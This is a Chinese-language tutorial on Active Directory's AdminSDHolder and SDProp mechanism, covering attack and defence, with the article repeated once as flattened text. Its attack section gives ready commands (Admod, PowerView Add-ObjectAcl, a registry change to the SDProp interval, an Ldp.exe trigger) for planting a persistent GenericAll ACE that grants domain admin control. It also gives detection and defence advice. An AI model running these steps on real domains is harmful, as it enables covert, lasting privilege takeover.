AdminSDHolder安全解密
字数 1412 2025-08-09 13:33:47

AdminSDHolder安全机制详解与攻防实践

0x00 域内受保护的用户和组

在Active Directory中,一些高权限的用户和组被视为受保护的对象。这些受保护对象的权限设置和修改由一个自动过程完成,确保对象移动到其他目录时权限保持一致。

查询受保护对象

使用adfind工具查询受保护的用户和组:

# 查询受保护的组
Adfind.exe -f "&(objectcategory=group)(admincount=1)" -dn

# 查询受保护的用户
Adfind.exe -f "&(objectcategory=user)(admincount=1)" -dn

0x01 AdminSDHolder机制

1. AdminSDHolder对象

AdminSDHolder对象为域内受保护的用户和组提供权限"模板",其LDAP路径为:

CN=AdminSDHolder,CN=System,DC=<domain_component>,DC=<domain_component>

权限特性

  • 默认由Domain Admins组拥有
  • Enterprise Admins(EA)可以对任何域的AdminSDHolder对象进行更改
  • Domain Admins和Administrators组也可以进行更改
  • Administrators或Enterprise Admins成员可以获取该对象的所有权

2. SDProp进程

SDProp是一个关键进程,具有以下特性:

  • 默认每60分钟在PDC模拟器(PDCE)角色的域控制器上运行
  • 将AdminSDHolder对象的权限与受保护帐户和组的权限比较
  • 如果不匹配,则重置受保护对象的权限以匹配AdminSDHolder

0x02 攻击利用

利用AdminSDHolder机制可实施权限维持攻击,核心思路是对AdminSDHolder添加ACL后等待SDProp同步。

前提条件

  • 拥有对AdminSDHolder的WriteDACL权限的账户

1. 添加ACL

(1) 使用Admod工具

.\Admod.exe -b "CN=AdminSDHolder,CN=System,DC=testad,DC=local" "SD##ntsecuritydescriptor::{GETSD}{+D=(A;;GA;;;testad\test1)}"

(2) 使用PowerView

注意:需使用Dev分支的PowerView,主分支功能不全

Import-Module .\PowerView.ps1
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName test1 -Verbose -Rights All

2. 执行SDProp

(1) 修改默认执行间隔

通过修改注册表调整SDProp执行频率:

# 修改执行间隔(单位:秒,范围60-7200)
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 600

# 恢复默认值(删除注册表项)
reg delete hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency

(2) 手动触发SDProp

使用Ldp.exe工具手动执行:

  1. 启动Ldp.exe
  2. 连接 → 连接:输入PDC模拟器的FQDN或IP
  3. 连接 → 绑定:使用有修改权限的账户凭据
  4. 浏览 → 修改

不同域控版本操作差异

  • Windows Server 2008

    • DN字段留空
    • 编辑条目属性:FixUpInheritance
    • 值:Yes
  • Windows Server 2008 R2/2012

    • DN字段留空
    • 编辑条目属性:RunProtectAdminGroupsTask
    • 值:1

最后点击"运行"执行修改。

3. 添加特权

SDProp执行后,受保护对象的ACL已同步,此时可对特权组/用户进行操作,例如添加域管组成员。

0x03 防御与检测

防御措施

  1. 严格控制对AdminSDHolder对象的WriteDACL权限
  2. 定期审计AdminSDHolder对象的ACL设置
  3. 监控注册表中AdminSDProtectFrequency值的修改

检测方法

  • 监控事件ID 5136:记录对AdminSDHolder的ACL修改行为
  • 定期检查受保护对象的权限设置
  • 对比AdminSDHolder与受保护对象的ACL差异

总结

AdminSDHolder机制是Active Directory中重要的安全特性,但同时也可能被攻击者利用进行权限维持。了解其工作原理、攻击手法及防御措施,对于维护域环境安全至关重要。防御重点在于严格控制AdminSDHolder对象的修改权限,并通过日志监控及时发现异常行为。

AdminSDHolder安全机制详解与攻防实践 0x00 域内受保护的用户和组 在Active Directory中,一些高权限的用户和组被视为受保护的对象。这些受保护对象的权限设置和修改由一个自动过程完成,确保对象移动到其他目录时权限保持一致。 查询受保护对象 使用adfind工具查询受保护的用户和组: 0x01 AdminSDHolder机制 1. AdminSDHolder对象 AdminSDHolder对象为域内受保护的用户和组提供权限"模板",其LDAP路径为: 权限特性 : 默认由Domain Admins组拥有 Enterprise Admins(EA)可以对任何域的AdminSDHolder对象进行更改 Domain Admins和Administrators组也可以进行更改 Administrators或Enterprise Admins成员可以获取该对象的所有权 2. SDProp进程 SDProp是一个关键进程,具有以下特性: 默认每60分钟在PDC模拟器(PDCE)角色的域控制器上运行 将AdminSDHolder对象的权限与受保护帐户和组的权限比较 如果不匹配,则重置受保护对象的权限以匹配AdminSDHolder 0x02 攻击利用 利用AdminSDHolder机制可实施权限维持攻击,核心思路是对AdminSDHolder添加ACL后等待SDProp同步。 前提条件 拥有对AdminSDHolder的WriteDACL权限的账户 1. 添加ACL (1) 使用Admod工具 (2) 使用PowerView 注意 :需使用Dev分支的PowerView,主分支功能不全 2. 执行SDProp (1) 修改默认执行间隔 通过修改注册表调整SDProp执行频率: (2) 手动触发SDProp 使用Ldp.exe工具手动执行: 启动Ldp.exe 连接 → 连接:输入PDC模拟器的FQDN或IP 连接 → 绑定:使用有修改权限的账户凭据 浏览 → 修改 不同域控版本操作差异 : Windows Server 2008 : DN字段留空 编辑条目属性: FixUpInheritance 值: Yes Windows Server 2008 R2/2012 : DN字段留空 编辑条目属性: RunProtectAdminGroupsTask 值: 1 最后点击"运行"执行修改。 3. 添加特权 SDProp执行后,受保护对象的ACL已同步,此时可对特权组/用户进行操作,例如添加域管组成员。 0x03 防御与检测 防御措施 严格控制对AdminSDHolder对象的WriteDACL权限 定期审计AdminSDHolder对象的ACL设置 监控注册表中AdminSDProtectFrequency值的修改 检测方法 监控事件ID 5136 :记录对AdminSDHolder的ACL修改行为 定期检查受保护对象的权限设置 对比AdminSDHolder与受保护对象的ACL差异 总结 AdminSDHolder机制是Active Directory中重要的安全特性,但同时也可能被攻击者利用进行权限维持。了解其工作原理、攻击手法及防御措施,对于维护域环境安全至关重要。防御重点在于严格控制AdminSDHolder对象的修改权限,并通过日志监控及时发现异常行为。